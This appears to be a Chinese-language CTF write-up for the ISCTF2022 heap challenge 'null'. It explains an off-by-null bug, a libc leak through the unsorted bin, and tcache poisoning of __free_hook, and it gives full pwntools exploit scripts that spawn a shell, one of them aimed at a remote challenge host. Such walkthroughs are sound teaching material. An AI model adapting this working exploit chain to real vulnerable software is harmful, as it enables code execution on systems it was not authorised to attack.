ISCTF2022-null

文章发布时间:

最后更新时间:

文章总字数:
1.5k

预计阅读时间:
7 分钟

看一下保护机制

xH5Lff.png

再拖到ida查看一下main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-8h]

v4 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
while ( 1 )
{
while ( 1 )
{
puts("1.ADD");
puts("2.CHANGE");
puts("3.PRINT");
puts("4.DEL");
putchar(':');
__isoc99_scanf("%d", &v3);
if ( v3 != 2 )
break;
edit();
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
print();
}
else if ( v3 == 4 )
{
del();
}
else
{
LABEL_13:
puts("NO CHOICE");
}
}
else
{
if ( v3 != 1 )
goto LABEL_13;
add();
}
}
}

菜单题 其他函数没有什么好说的 重点看两个函数 delete和edit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
unsigned __int64 del()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("Index: ");
__isoc99_scanf("%d", &v1);
if ( v1 <= 31 )
{
free(Page[v1]);
Page[v1] = 0LL;
Size[v1] = 0;
}
return __readfsqword(0x28u) ^ v2;
}

指针置零了 没有办法UAF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
unsigned __int64 edit()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("Index: ");
__isoc99_scanf("%d", &v1);
if ( v1 <= 31 && Page[v1] )
{
printf("Content: ");
vuln(Page[v1], Size[v1]);
}
return __readfsqword(0x28u) ^ v2;
}

具体跟进到vuln函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void __fastcall vuln(_BYTE *a1, int a2)
{
int v2; // [rsp+14h] [rbp-Ch]

if ( a2 > 0 )
{
v2 = 0;
while ( read(0, a1, 1uLL) == 1 )
{
if ( *a1 == '\n' || (++a1, v2 == a2) )
{
*a1 = 0;
return;
}
++v2;
}
}
}

注意这里有一个off by null的漏洞 读入的换行符会被替换成0

首先要泄露libc基址 这里采用unsortedbin泄露基址的办法

但是由于远程靶机的版本是ubuntu18.04 新增了tcache

所以我们要先把tcache填满

前置代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from os import lseek
from pwn import*
#io = process("./null")
io = remote("120.79.18.34",20273)
libc = ELF("./libc-2.27.so")
elf = ELF("./null")
context.log_level = "debug"
def add(index,size):
io.recvuntil(":")
io.sendline(b"1")
io.recvuntil("Index: ")
io.sendline(str(index))
io.recvuntil("Size ")
io.sendline(str(size))
io.recvuntil("OK")

def free(index):
io.recvuntil(":")
io.sendline(b"4")
io.recvuntil("Index: ")
io.sendline(str(index))

def edit(index,content):
io.recvuntil(":")
io.sendline(b"2")
io.recvuntil("Index: ")
io.sendline(str(index))
io.recvuntil("Content: ")
io.sendline(content)

def print(index):
io.recvuntil(":")
io.sendline(b"3")
io.recvuntil("Index: ")
io.sendline(str(index))
1
2
3
4
5
6
7
8
9
10
11
add(0,0x18)#0
add(1,0x68)#1
add(2,0x68)#2

for i in range(3,10):
add(i,0xd0)

for i in range(3,10):
free(i)

edit(0,b'a'*0x18+b'\xe1')

我们先申请三个堆块 chunk1和2用来合并成一个fake chunk

这里注意一下后续申请的七个chunk大小

后续gdb动调看一下就很容易明白

xHoxds.png

这里可以看到 chunk1和chunk2已经合并成了一个0xe1大小的堆块

我们具体查看一下当前chunk的内容

xHTeoR.png

可以看到是因为刚才的edit改变了chunk1的size大小

接着我们free一下chunk1 此时由于tcache已经被填满了 所以chunk1就会被释放到unsortedbin

由于其机制 所以此时fd和bk都会指向main_arena+0x??的地址

通过再次申请一个chunk 再调用print函数 就可以打印出我们需要的地址 此时再计算偏移 就可以求出基址

1
2
3
free(1)
add(10,0x68)
print(10)

我们逐步拆分一下这一层的操作

首先是执行完free

xHTsmQ.png

成功划入unsortedbin

再申请一个大小为0x68的chunk(只申请一半 是为了接下来的double free做铺垫)

xHHTiR.png

跟进看一下新申请的chunk的内容

xHHxdH.png

这里你会发现两个的chunk fd和bk差了208

这正是0xd0的十进制

但是这并不妨碍我们计算基址

记录下此时动调的fd值

在gdb中我们输入vmmap libc查看一下当前程序运行的libc基址

然后求出偏移 虽然程序每次运行的libc基址和我们泄露出来的main_arena地址都会变化

但是这个偏移值是固定的

xHbVeg.png

1
2
libc_addr = main_arena_addr - offset
offset = 0x7fa1d8fa7d70 - 0x7fa1d8bbc000

基址出来以后 one_gadget和free_hook以及system的地址都可以求出来了

由于程序开启了FULL RELRO保护 我们不能篡改free函数的got表

但是我们可以修改free_hook函数的got表

这里可以应用double free的办法来把free_hook的函数地址放到tcache链上

先把计算基址和一些必要的数据的exp放出来

1
2
3
4
5
6
7
8
9
print(10)
free_got = elf.got['free']
io.recvuntil("Content: ")
main_arean = u64(io.recvuntil("\x7f").ljust(8,b"\x00"))
libc_addr = main_arean -(0x7f91b42a5d70-0x7f91b3eba000)
system_addr = libc_addr + libc.sym['system']
binsh_addr = libc_addr + next(libc.search(b"/bin/sh"))
onegadget_addr = libc_addr + 0x4f302
free_hook = libc.symbols['__free_hook']+libc_addr

此时我们再次申请一个大小为0x68的chunk 你会发现 这个chunk的指针和我们之前申请的chunk2是共享的

所以我们可以先free chunk2 再编辑chunk11的内容 此时你会发现我们编辑进chunk11的内容会被串连到bin链上

1
2
3
add(11,0x68)
free(2)
edit(11,p64(free_hook))

xHbqts.png

此时我们再申请一个chunk 就会取出bin中第一个chunk 再取出一个 就会获得指向free_hook的chunk

此时我们编辑该chunk的内容 就相当于像free_hook中写入任意

最终exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from os import lseek
from pwn import*
io = process("./null")
libc = ELF("./libc-2.27.so")
elf = ELF("./null")
context.log_level = "debug"
def add(index,size):
io.recvuntil(":")
io.sendline(b"1")
io.recvuntil("Index: ")
io.sendline(str(index))
io.recvuntil("Size ")
io.sendline(str(size))
io.recvuntil("OK")

def free(index):
io.recvuntil(":")
io.sendline(b"4")
io.recvuntil("Index: ")
io.sendline(str(index))

def edit(index,content):
io.recvuntil(":")
io.sendline(b"2")
io.recvuntil("Index: ")
io.sendline(str(index))
io.recvuntil("Content: ")
io.sendline(content)

def print(index):
io.recvuntil(":")
io.sendline(b"3")
io.recvuntil("Index: ")
io.sendline(str(index))

add(0,0x18)#0
add(1,0x68)#1
add(2,0x68)#2

for i in range(3,10):
add(i,0xd0)

for i in range(3,10):
free(i)

edit(0,b'a'*0x18+b'\xe1')
free(1)
add(10,0x68)
print(10)
free_got = elf.got['free']
io.recvuntil("Content: ")
main_arean = u64(io.recvuntil("\x7f").ljust(8,b"\x00"))
libc_addr = main_arean -(0x7f91b42a5d70-0x7f91b3eba000)
system_addr = libc_addr + libc.sym['system']
binsh_addr = libc_addr + next(libc.search(b"/bin/sh"))
onegadget_addr = libc_addr + 0x4f302
free_hook = libc.symbols['__free_hook']+libc_addr
add(11,0x68)
free(2)
edit(11,p64(free_hook))
add(12,0x68)
add(13,0x68)
edit(13,p64(onegadget_addr))
free(13)
io.interactive()